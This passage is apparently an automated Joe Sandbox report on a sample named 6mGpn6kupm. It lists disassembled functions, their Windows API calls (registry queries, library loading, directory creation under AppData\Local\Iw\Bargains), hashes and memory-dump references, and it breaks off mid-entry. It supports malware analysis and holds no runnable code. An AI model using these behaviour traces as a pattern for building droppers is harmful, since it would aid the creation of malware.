Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: Close$Enum
String ID:
API String ID: 464197530-0
Opcode ID: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction ID: 3410daaf41eb2a8de7896e1fb7aa518538b3e031ab7f3cb45a1fbd23233d04dd
Opcode Fuzzy Hash: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction Fuzzy Hash: CE116A32500108FBDF12AB90CE09FEE7B7DAF44350F100076B905B61E0E7B59E21AB58

Function 004015C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405D68: CharNextW.USER32(?,?,00425F30,?,00405DDC,00425F30,00425F30,?,?,774D2EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,774D2EE0,00000000), ref: 00405D76
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D7B
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D93

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A

Part of subcall function 0040591F: CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 00405962

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Local\Iw\Bargains,?,00000000,000000F0), ref: 0040164D

Strings

C:\Users\user\AppData\Local\Iw\Bargains, xrefs: 00401640

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\Iw\Bargains
API String ID: 1892508949-2976193113
Opcode ID: c670449cb20163be3cb3cb34affd8c81282aa0e3ca4a40f31796d9e50139b1da
Instruction ID: 0139da5d792eeb989572d84d187c25f91b4f70b2bd1842bf542401118de2a59f
Opcode Fuzzy Hash: c670449cb20163be3cb3cb34affd8c81282aa0e3ca4a40f31796d9e50139b1da
Instruction Fuzzy Hash: 0511E631504511EBCF30AFA4CD4159F36A0EF15329B29453BFA45B22F1DB3E49419B5D

Function 004053C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004053F3
CallWindowProcW.USER32(?,?,?,?), ref: 00405444

Part of subcall function 004043AB: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004043BD

Strings

, xrefs: 004053D4

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction ID: 343f6187318c33bb175646012d6cb398530476c6c15fe8dd96994d534b9a6b17
Opcode Fuzzy Hash: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction Fuzzy Hash: CC0171B1200609ABDF305F11DD84B9B3666EBD4356F508037FA00761E1C77A8DD29A6E

Function 004062B6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000800,00000002,00422708,00000000,?,?,Call,?,?,0040652A,80000002), ref: 004062FC
RegCloseKey.ADVAPI32(?,?,0040652A,80000002,Software\Microsoft\Windows\CurrentVersion,Call,Call,Call,00000000,00422708), ref: 00406307

Strings

Call, xrefs: 004062BD

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: CloseQueryValue
String ID: Call
API String ID: 3356406503-1824292864
Opcode ID: c86c14991d827863ed80974af0b6eb11eee99485bcf286d774b2a77da772c934
Instruction ID: efe3e51cb47fe95fa6bbb83f3cb46ebf457b8c4b35673ac5825ceff03b23bf8b
Opcode Fuzzy Hash: c86c14991d827863ed80974af0b6eb11eee99485bcf286d774b2a77da772c934
Instruction Fuzzy Hash: B301717250020AEBDF218F55CD09EDB3FA9EF55354F114039FD15A2150E778D964CBA4

Function 00406F27 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction ID: 2bd06e12bed6e0bcd81d630d0cd78bd49004ac77cb8b5ebb757de7108a839e92
Opcode Fuzzy Hash: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction Fuzzy Hash: 1DA14471E04228CBDF28CFA8C8446ADBBB1FF44305F14806ED856BB281D7786A86DF45

Function 00407128 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction ID: f1da02a2f8b93330a3d469e31e6e9edf047fa596270f1f1d86c95cc791e20b04
Opcode Fuzzy Hash: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction Fuzzy Hash: AA910271E04228CBEF28CF98C8447ADBBB1FB45305F14816AD856BB291C778A986DF45

Function 00406E3E Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction ID: fb1d02f26201205f5bfcbd3029eb7cfad7cca69a3f8c46de7b35964bdd0c3f7d
Opcode Fuzzy Hash: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction Fuzzy Hash: 18814571E04228DFDF24CFA8C844BADBBB1FB45305F24816AD856BB291C7389986DF45

Function 00406943 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction ID: 55fc176551b00f8465723d30588461dcf2fc1d3195b414c524ee7a2fcbdbe87b
Opcode Fuzzy Hash: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction Fuzzy Hash: 39815971E04228DBEF24CFA8C844BADBBB1FB45305F14816AD856BB2C1C7786986DF45

Function 00406D91 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction ID: 7645ab34ef40ba223d211dbe726f8302725d3f31b3e808d93cc70016d3e0d248
Opcode Fuzzy Hash: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction Fuzzy Hash: 10711471E04228DBDF24CF98C8447ADBBB1FF49305F15806AD856BB281C7389A86DF45

Function 00406EAF Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction ID: a4e19b7408f2815589132e7e2b866ae2b9c8caa40868d81b8a4623295251dea3
Opcode Fuzzy Hash: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction Fuzzy Hash: 0D712571E04218DBEF28CF98C844BADBBB1FF45305F15806AD856BB281C7389986DF45

Function 00406DFB Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction ID: 979076adb26e5f1e3e7a9458f232081f51f9a0722543042d1d726f4d31452a21
Opcode Fuzzy Hash: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction Fuzzy Hash: 50714871E04228DBEF28CF98C8447ADBBB1FF45305F15806AD856BB281C7386A46DF45

Function 004032DE Relevance: 4.6, APIs: 3, Instructions: 101COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 004032F2

Part of subcall function 0040345D: SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040315B,?), ref: 0040346B

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,00403208,00000004,00000000,00000000,?,?,00403182,000000FF,00000000,00000000,0040A230,?), ref: 00403325
SetFilePointer.KERNELBASE(001660AE,00000000,00000000,00414ED0,00004000,?,00000000,00403208,00000004,00000000,00000000,?,?,00403182,000000FF,00000000), ref: 00403420

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: FilePointer$CountTick
String ID:
API String ID: 1092082344-0
Opcode ID: 46bf3b49fb3124b20b26849d3f96ebab8958347a080c85236d637af58840fa95
Instruction ID: a2c2ae871b20a7f651e14226ae934804f023725c52e887911cb1b1382089a511
Opcode Fuzzy Hash: 46bf3b49fb3124b20b26849d3f96ebab8958347a080c85236d637af58840fa95
Instruction Fuzzy Hash: 54313872610215DBD721DF29EEC496A3BA9F74039A754433FE900F62E0CBB99D018B9D

Function 00402032 Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 0040205D

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040206E
FreeLibrary.KERNELBASE(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 004020EB

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: c0091ceae9cfbdad611b36e7acbab474ec2c1bafca6550aebcba3b122e164ceb
Instruction ID: 38390b8595ebf5dc4f6cf14c4d4b7ed92d06cc21542818b97b262269bef072d5
Opcode Fuzzy Hash: c0091ceae9cfbdad611b36e7acbab474ec2c1bafca6550aebcba3b122e164ceb
Instruction Fuzzy Hash: DC218331D00215BACF20AFA5CE4D99E7A70BF04358F60413BF511B51E0DBBD8991DA6E

Function 00401B77 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(005D3CF0), ref: 00401BE7
GlobalAlloc.KERNELBASE(00000040,00000804), ref: 00401BF9

Strings

Call, xrefs: 00401B9E, 00401BA4, 00401BBE

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: Global$AllocFree
String ID: Call
API String ID: 3394109436-1824292864
Opcode ID: f7405ea9e476423423cde41a6620a17073824cabe1c2d7eedde19d286f021b37
Instruction ID: 4b9c6e54fa6809cb214bd66434af352d7e41d31d349781cb692caa9f676c35e6
Opcode Fuzzy Hash: f7405ea9e476423423cde41a6620a17073824cabe1c2d7eedde19d286f021b37
Instruction Fuzzy Hash: 6E217B73A00200D7DB20EB94CEC995E73A4AB45314765053BF506F32D1DBB8E851DBAD

Function 004024F8 Relevance: 4.5, APIs: 3, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 0040252B
RegEnumValueW.ADVAPI32(00000000,00000000,?,?), ref: 0040253E
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsvC041.tmp,00000000,00000011,00000002), ref: 00402557

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: Enum$CloseValue
String ID:
API String ID: 397863658-0
Opcode ID: 962e8dbebea2d0e856bbe812d5e95e45bdf7d67f5620c7d5b12d357826d7025c
Instruction ID: 69a0bd767b5398a5b54c194fc83da7942780fa4e63ecbf8b5358c30743fc2944
Opcode Fuzzy Hash: 962e8dbebea2d0e856bbe812d5e95e45bdf7d67f5620c7d5b12d357826d7025c
Instruction Fuzzy Hash: 4B017171904204ABEB149F95DE88ABF7AB8EF80348F10403EF505B61D0DAB85E419B69

Function 004031D6 Relevance: 3.1, APIs: 2, Instructions: 88COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,?,?,00403182,000000FF,00000000,00000000,0040A230,?), ref: 004031FB

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 09b1e881bc629fe9623964bcd0dac9c3534a319fde10b4dd95dd132c0a2dd849
Instruction ID: f938e70baf20f89fc7421c1cbc4d65c8cbb1a4a40291e2e844035b0cdbff1196
Opcode Fuzzy Hash: 09b1e881bc629fe9623964bcd0dac9c3534a319fde10b4dd95dd132c0a2dd849
Instruction Fuzzy Hash: 53314B30200219BBDB109F95ED84ADA3E68EB04759F20857EF905E62D0D6789A509BA9

Function 00402484 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(00000000,00000000,?,?,?,?), ref: 004024B5
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsvC041.tmp,00000000,00000011,00000002), ref: 00402557

Memory Dump Source

Source File: 00000000.00000002.1713103639.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1713077925.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713122419.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713138679.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1713218887.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_6mGpn6kupm.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 63b64fe82c2f511c8169af5ec8c0190f19a921c94039209ad64b866aaad41420
Instruction ID: 8b4d26b48c61f4aea5aea8b01f6eaa690eaa4425e6198d6413393360261ed691
Opcode Fuzzy Hash: 63b64fe82c2f511c8169af5ec8c0190f19a921c94039209ad64b866aaad41420
